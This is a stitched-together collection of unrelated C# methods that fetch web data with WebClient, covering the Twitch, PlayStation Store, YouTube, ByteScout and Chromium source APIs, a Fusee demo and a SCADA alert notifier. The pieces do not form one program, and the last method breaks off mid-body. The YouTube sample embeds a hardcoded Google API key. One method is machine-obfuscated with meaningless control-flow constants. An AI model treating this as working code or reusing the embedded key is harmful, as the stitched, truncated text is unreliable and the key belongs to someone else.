public string GetChannelIdByName(string channel) { if (string.IsNullOrWhiteSpace(channel)) { throw new ArgumentNullException(nameof(channel)); } using (WebClient webClient = CreatePublicApiWebClient()) { webClient.QueryString.Add("login", channel); string result = null; try { result = webClient.DownloadString(USERS_URL); } catch (WebException) { return(null); } if (!string.IsNullOrWhiteSpace(result)) { JObject searchResultJson = JObject.Parse(result); JArray usersJson = searchResultJson.Value <JArray>("users"); if (usersJson != null && usersJson.HasValues) { JToken userJson = usersJson.FirstOrDefault(); if (userJson != null) { string id = userJson.Value <string>("_id"); if (!string.IsNullOrWhiteSpace(id)) { using (WebClient webClientChannel = CreatePublicApiWebClient()) { try { webClientChannel.DownloadString(string.Format(CHANNEL_URL, id)); return(id); } catch (WebException) { return(null); } catch (Exception) { throw; } } } } } } return(null); } }
public VodAuthInfo RetrieveVodAuthInfo(string id) { if (string.IsNullOrWhiteSpace(id)) { throw new ArgumentNullException(nameof(id)); } using (WebClient webClient = CreatePrivateApiWebClient()) { string accessTokenStr = webClient.DownloadString(string.Format(ACCESS_TOKEN_URL, id)); JObject accessTokenJson = JObject.Parse(accessTokenStr); string token = Uri.EscapeDataString(accessTokenJson.Value <string>("token")); string signature = accessTokenJson.Value <string>("sig"); if (string.IsNullOrWhiteSpace(token)) { throw new ApplicationException("VOD access token is null!"); } if (string.IsNullOrWhiteSpace(signature)) { throw new ApplicationException("VOD signature is null!"); } bool privileged = false; bool subOnly = false; JObject tokenJson = JObject.Parse(HttpUtility.UrlDecode(token)); if (tokenJson == null) { throw new ApplicationException("Decoded VOD access token is null!"); } privileged = tokenJson.Value <bool>("privileged"); if (privileged) { subOnly = true; } else { JObject chansubJson = tokenJson.Value <JObject>("chansub"); if (chansubJson == null) { throw new ApplicationException("Token property 'chansub' is null!"); } JArray restrictedQualitiesJson = chansubJson.Value <JArray>("restricted_bitrates"); if (restrictedQualitiesJson == null) { throw new ApplicationException("Token property 'chansub -> restricted_bitrates' is null!"); } if (restrictedQualitiesJson.Count > 0) { subOnly = true; } } return(new VodAuthInfo(token, signature, privileged, subOnly)); } }
public Renascene(Item itm) { this.itm = itm; try { string titleId = SafeTitle(itm.TitleId); WebClient wc = new WebClient(); wc.Encoding = System.Text.Encoding.UTF8; wc.Proxy = Settings.Instance.proxy; var region = ""; switch (itm.Region) { case "EU": region = "GB/en"; break; case "US": region = "CA/en"; break; case "JP": region = "JP/ja"; break; case "ASIA": region = "HK/en"; break; } var content = ""; try { content = wc.DownloadString(new Uri("https://store.playstation.com/chihiro-api/viewfinder/" + region + "/19/" + itm.ContentId)); var contentJson = SimpleJson.SimpleJson.DeserializeObject <PSNJson>(content); this.imgUrl = contentJson.cover; } catch { this.imgUrl = null; } //if (itm.ItsPsx) //{ // content = wc.DownloadString(@"http://renascene.com/ps1/?target=search&srch=" + titleId + "&srchser=1"); // url = ExtractString(content, "<td class=\"l\"> <a href=\"", "\">"); //} //else if (itm.ItsPS3) //{ // content = wc.DownloadString(@"http://renascene.com/ps3/?target=search&srch=" + titleId + "&srchname=1&srchser=1&srchfold=1&srchfname=1"); // url = ExtractString(content, "<td></td><td><a href=\"", "\">"); //} //else if (itm.ItsPS4) //{ // content = wc.DownloadString(@"http://renascene.com/ps4/?target=search&srch=" + titleId + "&srchname=1&srchser=1&srchfold=1&srchfname=1"); // url = ExtractString(content, "<td></td><td><a href=\"", "\">"); //} //else if (itm.ItsPsp) //{ // content = wc.DownloadString(@"http://renascene.com/?target=search1&srch=" + titleId + "&srchser=1"); // url = ExtractString(content, "<tr class=\"defRows \" onclick=\"window.location.href='", "';\" >"); //} //else //{ // content = wc.DownloadString(@"http://renascene.com/psv/?target=search&srch=" + titleId + "&srchser=1"); // url = ExtractString(content, "<td class=\"l\"><a href=\"", "\">"); //} //content = wc.DownloadString(url); //this.imgUrl = ExtractString(content, "<td width=\"300pt\" style=\"vertical-align: top; padding: 0 0 0 5px;\">", "</td>"); //this.imgUrl = ExtractString(imgUrl, "<img src=", ">"); //if (!itm.ItsPS3 && !itm.ItsPS4) //{ // genre = ExtractString(content, "<td class=\"infLeftTd\">Genre</td>", "</tr>"); // genre = ExtractString(genre, "<td class=\"infRightTd\">", "</td>"); // genre = genre.Replace("»", "/"); // language = ExtractString(content, "<td class=\"infLeftTd\">Language</td>", "</tr>"); // language = ExtractString(language, "<td class=\"infRightTd\">", "</td>"); //} //if (!(itm.ItsPsx || itm.ItsPsp || itm.ItsPS3 || itm.ItsPS4)) //{ // publish = ExtractString(content, "<td class=\"infLeftTd\">Publish Date</td>", "</tr>"); // publish = ExtractString(publish, "<td class=\"infRightTd\">", "</td>"); // developer = ExtractString(content, "<td class=\"infLeftTd\">Developer</td>", "</tr>"); // developer = ExtractString(developer, "<td class=\"infRightTd\">", "</td>"); //} } catch { imgUrl = genre = language = publish = developer = size = null; } try { var webRequest = HttpWebRequest.Create(itm.pkg); webRequest.Proxy = Settings.Instance.proxy; webRequest.Method = "HEAD"; using (var webResponse = webRequest.GetResponse()) { var fileSize = webResponse.Headers.Get("Content-Length"); var fileSizeInMegaByte = Math.Round(Convert.ToDouble(fileSize) / 1024.0 / 1024.0, 2); this.size = fileSizeInMegaByte + " MB"; } } catch { } //try //{ // if (!string.IsNullOrEmpty(this.imgUrl)) // { // WebClient wc = new WebClient(); // wc.Proxy = Settings.Instance.proxy; // var img = wc.DownloadData(this.imgUrl); // using (var ms = new MemoryStream(img)) // { // image = Image.FromStream(ms); // } // } //} //catch { } }
private void txtidchannel_TextChanged(object sender, EventArgs e) { try { if (btnOn.Text == "Off") { return; } // string chon = listchannel.SelectedItems[0].Text; // ListViewItem chona = listchannel.SelectedItems[0]; day = new List <string>(); int dem = 0; // MessageBox.Show(chona.SubItems[0].Text); string chon = txtidchannel.Text; //xu li id //--> lấy id upload string idupload = "https://www.googleapis.com/youtube/v3/channels?part=contentDetails,snippet,statistics&id=" + chon + "&key=AIzaSyAyL0tx2-Rqtw2DIYbaahvcV3b1-1Uk-I4"; WebClient wCupload = new WebClient { Encoding = Encoding.UTF8 }; string jsonString_id = wCupload.DownloadString(idupload); JObject jObj_id = (JObject)JsonConvert.DeserializeObject(jsonString_id); string id_upload = jObj_id["items"][0]["contentDetails"]["relatedPlaylists"]["uploads"].ToString(); picchannel.ImageLocation = jObj_id["items"][0]["snippet"]["thumbnails"]["default"]["url"].ToString(); txtnamechannel.Text = jObj_id["items"][0]["snippet"]["localized"]["title"].ToString(); txtsubchannel.Text = jObj_id["items"][0]["statistics"]["subscriberCount"].ToString(); //chuyển số sub thành số chấm txtsubchannel.Text = string.Format("{0:0,0}", float.Parse(txtsubchannel.Text)); txtvideochannel.Text = jObj_id["items"][0]["statistics"]["videoCount"].ToString(); //chuyển số video thành số chấm txtvideochannel.Text = string.Format("{0:0,0}", float.Parse(txtvideochannel.Text)); //--> lấy id video theo id upload // string id_video = "https://www.googleapis.com/youtube/v3/playlistItems?part=contentDetails&maxResults=50&playlistId=" + id_upload + "&key=AIzaSyAyL0tx2-Rqtw2DIYbaahvcV3b1-1Uk-I4"; WebClient wC_id = new WebClient { Encoding = Encoding.UTF8 }; string jsonString_idvideo = wC_id.DownloadString(id_video); JObject jObj_id_video = (JObject)JsonConvert.DeserializeObject(jsonString_idvideo); int sovideo = int.Parse(jObj_id_video["pageInfo"]["totalResults"].ToString()); if (string.IsNullOrEmpty(this.txtadvance.Text)) { txtadvance.Text = sovideo.ToString(); } //--> tiến hành lấy id video if (sovideo > 50) { sovideo = 50; } if (btnadvance.Text == "On") { sovideo = int.Parse(this.txtadvance.Text); } for (int soid = 0; soid < sovideo; soid++) { if (!string.IsNullOrEmpty(jObj_id_video["items"][soid]["contentDetails"]["videoId"].ToString())) { day.Add(jObj_id_video["items"][soid]["contentDetails"]["videoId"].ToString()); dem++; } } //đo thời gian int xso; xso = 0; for (int j = 0; j < dem; j++) { string input = "https://www.googleapis.com/youtube/v3/videos?id=" + day[j].ToString() + "&key=AIzaSyAyL0tx2-Rqtw2DIYbaahvcV3b1-1Uk-I4&part=snippet,contentDetails,statistics,status"; WebClient wC = new WebClient { Encoding = Encoding.UTF8 }; string jsonString = wC.DownloadString(input); JObject jObj = (JObject)JsonConvert.DeserializeObject(jsonString); link = jObj["items"][0]["id"].ToString(); vchannel = jObj["items"][0]["snippet"]["channelTitle"].ToString(); vtitile = jObj["items"][0]["snippet"]["title"].ToString(); description = jObj["items"][0]["snippet"]["description"].ToString(); view = jObj["items"][0]["statistics"]["viewCount"].ToString(); float soview = float.Parse(view); // soview.ToString("N"); view = string.Format("{0:0,0}", soview); like = jObj["items"][0]["statistics"]["likeCount"].ToString(); dislike = jObj["items"][0]["statistics"]["dislikeCount"].ToString(); comment = jObj["items"][0]["statistics"]["commentCount"].ToString(); vday = jObj["items"][0]["snippet"]["publishedAt"].ToString(); money = jObj["items"][0]["contentDetails"]["licensedContent"].ToString(); times = jObj["items"][0]["contentDetails"]["duration"].ToString(); times = times.Replace("PT", ""); times = times.Replace("H", ":"); times = times.Replace("M", ":"); times = times.Replace("S", ""); //how to get data from json object ? check this link json.org for more details ListViewItem item = new ListViewItem(); xso++; item.Text = xso.ToString(); listvideo.Items.Add(item); item.SubItems.Add(vchannel); item.SubItems.Add(vtitile); item.SubItems.Add(description); item.SubItems.Add(view); item.SubItems.Add(like); item.SubItems.Add(dislike); item.SubItems.Add(money); item.SubItems.Add(link); item.SubItems.Add(comment); item.SubItems.Add(vday); item.SubItems.Add(times); // MessageBox.Show(channel); } } catch (Exception c) { } }
/// <summary> /// Gets the specified download item. /// </summary> /// <param name="downloadItem">The download item.</param> public void Get(DownloadItem downloadItem) { Log.WriteToLog(LogSeverity.Info, downloadItem.ThreadID, string.Format("Processing HTML Started"), string.Format("{0}", downloadItem.Url)); downloadItem.Result = new HtmlResult(); downloadItem.Progress.Message = "Downloading " + downloadItem.Url; var cachePath = WebCache.GetPathFromUrl(downloadItem.Url, downloadItem.Section); Folders.CheckExists(cachePath, true); if (!downloadItem.IgnoreCache && !downloadItem.Url.Contains("YNoCache")) { if (File.Exists(cachePath + ".txt.gz")) { Log.WriteToLog(LogSeverity.Info, downloadItem.ThreadID, string.Format(CultureInfo.CurrentCulture, "Url Found in Cache"), string.Format(CultureInfo.CurrentCulture, "{0}", downloadItem.Url)); downloadItem.Result = new HtmlResult { Result = Gzip.Decompress(cachePath + ".txt.gz"), Success = true }; return; } } if (InternalHandlers.Check(downloadItem)) { InternalHandlers.Process(downloadItem, cachePath); return; } try { Log.WriteToLog( LogSeverity.Info, downloadItem.ThreadID, string.Format(CultureInfo.CurrentCulture, "Downloading"), string.Format(CultureInfo.CurrentCulture, "{0}", downloadItem.Url)); downloadItem.Url = downloadItem.Url.Replace(" ", "+").Replace("%20", "+"); var webClient = new WebClient { Proxy = null }; webClient.Headers.Add("user-agent", Settings.Get.Web.UserAgent); var encode = Encoding.GetEncoding(1252); foreach (var encoding in Settings.Get.Web.WebEncodings) { if (downloadItem.Url.Contains(encoding.Key)) { encode = encoding.Value; break; } } webClient.Encoding = encode; var outputString = webClient.DownloadString(downloadItem.Url); Log.WriteToLog( LogSeverity.Info, downloadItem.ThreadID, string.Format(CultureInfo.CurrentCulture, "Download Complete. Saving to Cache"), string.Format(CultureInfo.CurrentCulture, "{0}", downloadItem.Url)); if (encode != Encoding.UTF8) { var origBytes = encode.GetBytes(outputString); var newBytes = Encoding.Convert(encode, Encoding.UTF8, origBytes); outputString = Encoding.UTF8.GetString(newBytes); encode = Encoding.UTF8; } File.WriteAllText(cachePath + ".txt.tmp", outputString, encode); Gzip.Compress(cachePath + ".txt.tmp", cachePath + ".txt.gz"); File.Delete(cachePath + ".txt.tmp"); Log.WriteToLog( LogSeverity.Info, downloadItem.ThreadID, string.Format(CultureInfo.CurrentCulture, "Process Complete."), string.Format(CultureInfo.CurrentCulture, "{0}", downloadItem.Url)); downloadItem.Result.Result = outputString; downloadItem.Result.Success = true; return; } catch (Exception ex) { Log.WriteToLog(LogSeverity.Error, LoggerName.GeneralLog, string.Format("Download Html {0}", downloadItem.Url), ex.Message); return; } }
public static void Main() { // Inject Fusee.Engine.Base InjectMe dependencies IO.IOImp = new Fusee.Base.Imp.Desktop.IOImp(); var fap = new Fusee.Base.Imp.Desktop.FileAssetProvider("Assets"); fap.RegisterTypeHandler( new AssetHandler { ReturnedType = typeof(Font), Decoder = delegate(string id, object storage) { if (!Path.GetExtension(id).ToLower().Contains("ttf")) { return(null); } return(new Font { _fontImp = new FontImp((Stream)storage) }); }, Checker = id => Path.GetExtension(id).ToLower().Contains("ttf") }); fap.RegisterTypeHandler( new AssetHandler { ReturnedType = typeof(SceneContainer), Decoder = delegate(string id, object storage) { if (!Path.GetExtension(id).ToLower().Contains("fus")) { return(null); } var ser = new Serializer(); return(ser.Deserialize((Stream)storage, null, typeof(SceneContainer)) as SceneContainer); }, Checker = id => Path.GetExtension(id).ToLower().Contains("fus") }); AssetStorage.RegisterProvider(fap); var app = new Core.AsyncExample(); // Inject Fusee.Engine InjectMe dependencies (hard coded) app.CanvasImplementor = new Fusee.Engine.Imp.Graphics.Desktop.RenderCanvasImp(); app.ContextImplementor = new Fusee.Engine.Imp.Graphics.Desktop.RenderContextImp(app.CanvasImplementor); Input.AddDriverImp(new Fusee.Engine.Imp.Graphics.Desktop.RenderCanvasInputDriverImp(app.CanvasImplementor)); Input.AddDriverImp(new Fusee.Engine.Imp.Graphics.Desktop.WindowsTouchInputDriverImp(app.CanvasImplementor)); // app.InputImplementor = new Fusee.Engine.Imp.Graphics.Desktop.InputImp(app.CanvasImplementor); // app.AudioImplementor = new Fusee.Engine.Imp.Sound.Desktop.AudioImp(); // app.NetworkImplementor = new Fusee.Engine.Imp.Network.Desktop.NetworkImp(); // app.InputDriverImplementor = new Fusee.Engine.Imp.Input.Desktop.InputDriverImp(); // app.VideoManagerImplementor = ImpFactory.CreateIVideoManagerImp(); // VERSION 1 - SYNCHRONER DOWNLOAD /* */ app.ButtonDown += delegate(object sender, EventArgs args) { WebClient client = new WebClient(); string fileContents = client.DownloadString(new Uri("http://www.fusee3d.org/Examples/Async/SomeText.txt")); app.Ticker.CompleteText = fileContents; }; /* */ // VERSION 2 - Asynchronous Programming Model (APM) - wird von WebClient nicht unterstützt, daher kein Beispiel // VERSION 3 - Event Based Asynchronous Pattern (EAP) /* * app.ButtonDown += delegate (object sender, EventArgs args) * { * WebClient client = new WebClient(); * * client.DownloadStringCompleted += delegate(object o, DownloadStringCompletedEventArgs eventArgs) * { * app.Ticker.CompleteText = eventArgs.Result; * }; * client.DownloadStringAsync(new Uri("http://www.fusee3d.org/Examples/Async/SomeText.txt")); * }; * /* */ // VERSION 4 - Task-based Asynchronous Pattern (TAP) /* * app.ButtonDown += async delegate (object sender, EventArgs args) * { * WebClient client = new WebClient(); * * String fileContents = await client.DownloadStringTaskAsync(new Uri("http://www.fusee3d.org/Examples/Async/SomeText.txt")); * // Nach dem await - Code der hier steht, wird erst nach dem ENDE des Task aufgerufen * app.Ticker.CompleteText = fileContents; * * }; * /* */ /* * // VERSION 5 - Task-based Asynchronous Pattern (TAP) mit getrenntem await * app.ButtonDown += async delegate(object sender, EventArgs args) * { * WebClient client = new WebClient(); * * Task<string> task = client.DownloadStringTaskAsync(new Uri("http://www.fusee3d.org/Examples/Async/SomeText.txt")); * // Dinge, die direkt nach dem Starten des Task passieren sollen * * app.Ticker.CompleteText = "- - - D O W N L O A D I N G - - - T H E C O M P L E T E W O R K S O F W I L L I A M S H A K E S P E A R E "; * * * // Vor dem await - hier passiert alles direkt nach dem Starten des Task * String fileContents = await task; * // Nach dem await - Code der hier steht, wird erst nach dem ENDE des Task aufgerufen * app.Ticker.CompleteText = fileContents; * * }; * /* */ // Start the app app.Run(); }
public string DownloadString(string address) { return webClient.DownloadString(address); }
static void Main(string[] args) { // Create standard .NET web client instance WebClient webClient = new WebClient(); // Set API Key webClient.Headers.Add("x-api-key", API_KEY); // 1. RETRIEVE THE PRESIGNED URL TO UPLOAD THE FILE. // * If you already have a direct file URL, skip to the step 3. // Prepare URL for `Get Presigned URL` API call string query = Uri.EscapeUriString(string.Format( "https://bytescout.io/v1/file/upload/get-presigned-url?contenttype=application/octet-stream&name={0}", Path.GetFileName(SourceFile))); try { // Execute request string response = webClient.DownloadString(query); // Parse JSON response JObject json = JObject.Parse(response); if (json["error"].ToObject <bool>() == false) { // Get URL to use for the file upload string uploadUrl = json["presignedUrl"].ToString(); string uploadedFileUrl = json["url"].ToString(); // 2. UPLOAD THE FILE TO CLOUD. webClient.Headers.Add("content-type", "application/octet-stream"); webClient.UploadFile(uploadUrl, "PUT", SourceFile); // You can use UploadData() instead if your file is byte[] or Stream // 3. MAKE UPLOADED PDF FILE SEARCHABLE // Prepare URL for `Make Searchable PDF` API call query = Uri.EscapeUriString(string.Format( "https://bytescout.io/v1/pdf/makesearchable?name={0}&password={1}&pages={2}&lang={3}&url={4}", Path.GetFileName(DestinationFile), Password, Pages, Language, uploadedFileUrl)); // Execute request response = webClient.DownloadString(query); // Parse JSON response json = JObject.Parse(response); if (json["error"].ToObject <bool>() == false) { // Get URL of generated PDF file string resultFileUrl = json["url"].ToString(); // Download PDF file webClient.DownloadFile(resultFileUrl, DestinationFile); Console.WriteLine("Generated PDF file saved as \"{0}\" file.", DestinationFile); } else { Console.WriteLine(json["message"].ToString()); } } else { Console.WriteLine(json["message"].ToString()); } } catch (WebException e) { Console.WriteLine(e.ToString()); } webClient.Dispose(); Console.WriteLine(); Console.WriteLine("Press any key..."); Console.ReadKey(); }
public static void GetServerList() { Program.LogInfoMessage("core", "Parsing servers..."); XmlDocument xmlDocument = default(XmlDocument); StringBuilder stringBuilder = default(StringBuilder); XmlNode xmlNode3 = default(XmlNode); XmlNode xmlNode = default(XmlNode); int num8 = default(int); char c = default(char); string innerText = default(string); XmlNode xmlNode2 = default(XmlNode); while (true) { int num = -1075592845; while (true) { uint num2; switch ((num2 = (uint)num ^ 0xFC2282E7u) % 3u) { case 0u: break; case 1u: goto IL_0032; default: { WebClient webClient = new WebClient(); try { string xml = webClient.DownloadString($"https://www.realmofthemadgod.com/char/list?guid={Environment.TickCount}"); xmlDocument.LoadXml(xml); } finally { if (webClient != null) { while (true) { int num3 = -826988592; while (true) { switch ((num2 = (uint)num3 ^ 0xFC2282E7u) % 3u) { case 0u: break; default: goto end_IL_0072; case 1u: goto IL_0098; case 2u: goto end_IL_0072; } break; IL_0098: ((IDisposable)webClient).Dispose(); num3 = (int)(num2 * 1402648206) ^ -536106229; } } } end_IL_0072 :; } IEnumerator enumerator = (xmlDocument.SelectNodes("Chars/Servers/Server") ?? throw new Exception("Failed to grab server list! Possibly rate limited by DECA, wait 10 minutes and try again.")).GetEnumerator(); try { while (true) { int num4; int num5; if (!enumerator.MoveNext()) { num4 = -720321871; num5 = num4; } else { num4 = -893649623; num5 = num4; } while (true) { switch ((num2 = (uint)num4 ^ 0xFC2282E7u) % 20u) { case 11u: num4 = -893649623; continue; default: goto end_IL_00ce; case 16u: _aCrqUtEobC4JELAJ9SKdNpyMHvF.Add(stringBuilder.ToString().ToLower(), xmlNode3.InnerText); num4 = (int)((num2 * 2014193611) ^ 0x440C9E1D); continue; case 0u: num4 = ((int)num2 * -755488762) ^ 0x6B1B300; continue; case 12u: { int num15; int num16; if (!xmlNode3.InnerText.StartsWith("CU")) { num15 = -1561295346; num16 = num15; } else { num15 = -1463578878; num16 = num15; } num4 = num15 ^ (int)(num2 * 1053437665); continue; } case 15u: Program.LogNetworkError("core", "Failed parsing server " + xmlNode.OuterXml); num4 = -1158821992; continue; case 10u: xmlNode = (XmlNode)enumerator.Current; xmlNode3 = xmlNode.SelectSingleNode("Name"); num4 = -2113089688; continue; case 18u: num8++; num4 = -1991472849; continue; case 5u: { c = innerText[num8]; int num10; if (!char.IsUpper(c)) { num4 = -377921837; num10 = num4; } else { num4 = -179918834; num10 = num4; } continue; } case 19u: num8 = 0; num4 = (int)(num2 * 1451369474) ^ -1422481671; continue; case 2u: { int num13; int num14; if (xmlNode3 == null) { num13 = 1679325894; num14 = num13; } else { num13 = 1568450172; num14 = num13; } num4 = num13 ^ (int)(num2 * 1703492799); continue; } case 9u: stringBuilder.Append(c); num4 = -520114439; continue; case 17u: _ServerList.Add(xmlNode3.InnerText, xmlNode2.InnerText); num4 = (int)(num2 * 34315307) ^ -110680839; continue; case 1u: { int num11; int num12; if (xmlNode2 == null) { num11 = -1147412883; num12 = num11; } else { num11 = -450330098; num12 = num11; } num4 = num11 ^ ((int)num2 * -1524464687); continue; } case 13u: stringBuilder = new StringBuilder(); innerText = xmlNode3.InnerText; num4 = -1888677108; continue; case 8u: { int num9; if (num8 >= innerText.Length) { num4 = -1791877125; num9 = num4; } else { num4 = -1415836466; num9 = num4; } continue; } case 3u: break; case 14u: _aCrqUtEobC4JELAJ9SKdNpyMHvF.Add(xmlNode3.InnerText.ToLower(), xmlNode3.InnerText); num4 = ((int)num2 * -1020911847) ^ 0x7F06393D; continue; case 4u: { int num6; int num7; if (char.IsDigit(c)) { num6 = -1840462366; num7 = num6; } else { num6 = -2013936875; num7 = num6; } num4 = num6 ^ ((int)num2 * -2035762521); continue; } case 7u: xmlNode2 = xmlNode.SelectSingleNode("DNS"); num4 = ((int)num2 * -1953929650) ^ -62066553; continue; case 6u: goto end_IL_00ce; } break; } } end_IL_00ce :; } finally { if (enumerator is IDisposable disposable) { while (true) { int num17 = -680833208; while (true) { switch ((num2 = (uint)num17 ^ 0xFC2282E7u) % 3u) { case 0u: break; default: goto end_IL_0398; case 1u: goto IL_03c7; case 2u: goto end_IL_0398; } break; IL_03c7: disposable.Dispose(); num17 = ((int)num2 * -284008395) ^ -1312770521; } } } end_IL_0398 :; } if (_ServerList.Count != 0) { return; } while (true) { switch ((num2 = 0xA08123EFu ^ 0xFC2282E7u) % 3u) { case 0u: break; default: return; case 1u: throw new Exception("Was not able to parse any RotMG servers!"); case 2u: return; } } } } break; IL_0032: xmlDocument = new XmlDocument(); num = (int)(num2 * 1425265625) ^ -1315739863; } } }
public static void Parse(string uri) { using (var wc = new WebClient()) { wc.Encoding = Encoding.UTF8; Match match = new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}").Match(wc.DownloadString(uri)); if (match.Success) { builder.Append($"\"{match.Value.Replace(":", "\", ")}"); } } }
/// <summary> /// Iterates the given mojom file paths, downloads them, extracts interfaces/structs information, /// and writes the results to a file /// </summary> /// <param name="mojomFiles"></param> /// <param name="commit"></param> /// <param name="chromeVersion"></param> public static void DownloadAndAnalyzeMojomFiles(List <string> mojomFiles, string commit, string chromeVersion) { TextWriter textWriter = new StreamWriter(CACHE_FILENAME, false); JsonWriter jsonWriter = new JsonTextWriter(textWriter); jsonWriter.Formatting = Formatting.Indented; jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("metadata"); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("version"); jsonWriter.WriteValue(chromeVersion); jsonWriter.WritePropertyName("commit"); jsonWriter.WriteValue(commit); jsonWriter.WriteEndObject(); WebClient webClient = new WebClient(); Console.WriteLine("[+] Going to download " + mojomFiles.Count + " mojom files."); // // Download & analyse loop // for (int i = 0; i < mojomFiles.Count; i++) { string mojomFilePath = mojomFiles[i]; Console.WriteLine("[+] " + i + ".Processing file " + mojomFilePath); try { string mojomFileLink = "https://chromium.googlesource.com/chromium/src.git/+/" + commit + "/" + mojomFilePath + "?format=text"; string mojomFile = Encoding.Default.GetString(Convert.FromBase64String(webClient.DownloadString(mojomFileLink))); // // Analyse this file // AnalyzeMojomFile(jsonWriter, mojomFile, mojomFilePath, commit); } catch (WebException webException) { if (((HttpWebResponse)webException.Response).StatusCode == (HttpStatusCode)429) { Console.WriteLine("[!] Sleeping 10 seconds to avoid Too Many Requests error."); Thread.Sleep(10000); i--; continue; } throw webException; } } // // Write special interfaces // jsonWriter.WritePropertyName("mojo.interface_control.Run"); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("definition"); jsonWriter.WriteValue("Run@0xFFFFFFFF(RunInput input) => (RunOutput? output)"); jsonWriter.WritePropertyName("link"); jsonWriter.WriteValue("https://source.chromium.org/chromium/chromium/src/+/master:mojo/public/interfaces/bindings/interface_control_messages.mojom;l=18"); jsonWriter.WriteEndObject(); jsonWriter.WritePropertyName("mojo.interface_control.RunOrClosePipe"); jsonWriter.WriteStartObject(); jsonWriter.WritePropertyName("definition"); jsonWriter.WriteValue("RunOrClosePipe@0xFFFFFFFE(RunOrClosePipeInput input)"); jsonWriter.WritePropertyName("link"); jsonWriter.WriteValue("https://source.chromium.org/chromium/chromium/src/+/master:mojo/public/interfaces/bindings/interface_control_messages.mojom;l=48"); jsonWriter.WriteEndObject(); jsonWriter.WriteEndObject(); textWriter.Close(); }
public override void OnExecuteAction(DriverTransaction Transaction) { ((DrvNotifyChannel)this.Channel).LogAndEvent("Driver Action - scanner."); switch (Transaction.ActionType) { // Used as the database method to send alarms and other messages to Twilio via the Redirector case OPCProperty.DriverActionNotifyMessage: { string Message = (string)Transaction.get_Args(0); string PhoneNumber = (string)Transaction.get_Args(1); string MessageType = (string)Transaction.get_Args(2); string CookieStr = (string)Transaction.get_Args(3); ((DrvNotifyChannel)this.Channel).LogAndEvent("Notify Message to: " + PhoneNumber + " using " + MessageType + " cookie " + CookieStr); using (WebClient client = new WebClient()) { ((DrvNotifyChannel)this.Channel).LogAndEvent("Send Request"); string requestaddress = WebServerAddress() + "/NotifyRequest/"; string requestparams = "?key=" + WebUtility.UrlEncode(this.DBScanner.APIKey) + "&phone=" + WebUtility.UrlEncode(PhoneNumber) + "&message=" + WebUtility.UrlEncode(Message) + "&type=" + WebUtility.UrlEncode(MessageType) + "&cookie=" + WebUtility.UrlEncode(CookieStr); try { string response = client.DownloadString(requestaddress + requestparams); ((DrvNotifyChannel)this.Channel).LogAndEvent("Received data - length: " + response.Length.ToString()); string partresponse = ""; if (response.Length < 100) { partresponse = response; } else { partresponse = response.Substring(0, 100); } // If the Redirector reports an error then raise a scanner alarm if (response.StartsWith("ERROR")) { ((DrvNotifyChannel)this.Channel).LogAndEvent("Received error." + partresponse); App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecRaiseScannerAlarm, "Error from Redirector" + response.Substring(0, 100)); } else { ((DrvNotifyChannel)this.Channel).LogAndEvent("Response OK"); // Success - clear alarm if present App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecClearScannerAlarm, ""); } } catch (Exception e) { // Why this failed (e.g. 404) ((DrvNotifyChannel)this.Channel).LogAndEvent("Failed to send to Redirector: " + e.Message.Substring(0, 100)); // Driver should fail and raise alarm App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecRaiseScannerAlarm, e.Message.Substring(0, 100)); } } } this.CompleteTransaction(Transaction, 0, "Notify Message Send Successful."); break; #if FEATURE_ALARM_ACK case OPCProperty.DriverActionTestAlarmAck: string UserId = (string)Transaction.get_Args(0); string PIN = (string)Transaction.get_Args(1); string CookieString = (string)Transaction.get_Args(2); long AlarmCookie = long.Parse(CookieString); if (TryAlarmAck(UserId, PIN, AlarmCookie, "no phone")) { ((DrvNotifyChannel)this.Channel).LogAndEvent("Test acknowledge success."); } else { ((DrvNotifyChannel)this.Channel).LogAndEvent("Test acknowledge fail."); } this.CompleteTransaction(Transaction, 0, "Test Acknowledgement Successful."); break; #endif default: base.OnExecuteAction(Transaction); break; } }
public override void OnScan() { SetStatus(SourceStatus.Online); // Prevent super rapid scanning if (lastScan.AddSeconds(10) < DateTime.Now) { lastScan = DateTime.Now; // We are scanning for STATUS data from the Redirector web service // This will tell us what events to log for success/fail of messages // And it can advise us of alarm acknowledgements to process ((DrvNotifyChannel)this.Channel).LogAndEvent("Poll the Redirector"); using (WebClient client = new WebClient()) { string requestaddress = WebServerAddress() + "/NotifyRequest/"; string requestparams = "?type=" + WebUtility.UrlEncode("STATUS"); #if FEATURE_ALARM_ACK // We add to the parameters the information within the AlarmStatusList - the info of failed and successful acknowledgements // We add each alarm cookie to the request, but just delete ones which are old int paramIndex = 1; foreach (long Cookie in CookieStatusList.Keys) { // We will hold on to these for 100 seconds, then remove them (this time could be a configurable parameter). if (DateTime.Compare(CookieStatusList[Cookie].UpdateTime.Add(TimeSpan.FromSeconds(100)), DateTime.UtcNow) > 0) { // Add to request string alarmackdata = "&acookie" + paramIndex.ToString() + "=" + Cookie.ToString() + "&astatus" + paramIndex.ToString() + "=" + (CookieStatusList[Cookie].Status ? "1" : "0"); requestparams += alarmackdata; ((DrvNotifyChannel)this.Channel).LogAndEvent("Return alarm ack status: " + alarmackdata); } else { CookieStatusList.Remove(Cookie); } } #endif ((DrvNotifyChannel)this.Channel).LogAndEvent("Send STATUS poll with data: " + requestparams); try { // Send/receive to the Redirector string response = client.DownloadString(requestaddress + requestparams); ((DrvNotifyChannel)this.Channel).LogAndEvent("Received data: " + response.Length.ToString()); // ERROR text is sent back by the Redirector if it can't access the Twilio service // If the Redirector reports an error then raise a scanner alarm if (response.StartsWith("ERROR")) { ((DrvNotifyChannel)this.Channel).LogAndEvent("Received ERROR response from Redirector: " + response); App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecRaiseScannerAlarm, "Poll error from Redirector" + response); } else { // Success - clear scanner alarm if present App.SendReceiveObject(this.DBScanner.Id, OPCProperty.SendRecClearScannerAlarm, ""); ((DrvNotifyChannel)this.Channel).LogAndEvent("Received good response from Redirector."); // And process the received data // Unpack the request strings - one new line per response string[] responses = response.Split('\n'); foreach (string responseLine in responses) { // If not empty if ((responseLine ?? "").Trim() != "") { ((DrvNotifyChannel)this.Channel).LogAndEvent("Received this response from Redirector: " + responseLine); ProcessResponse(responseLine); } } } 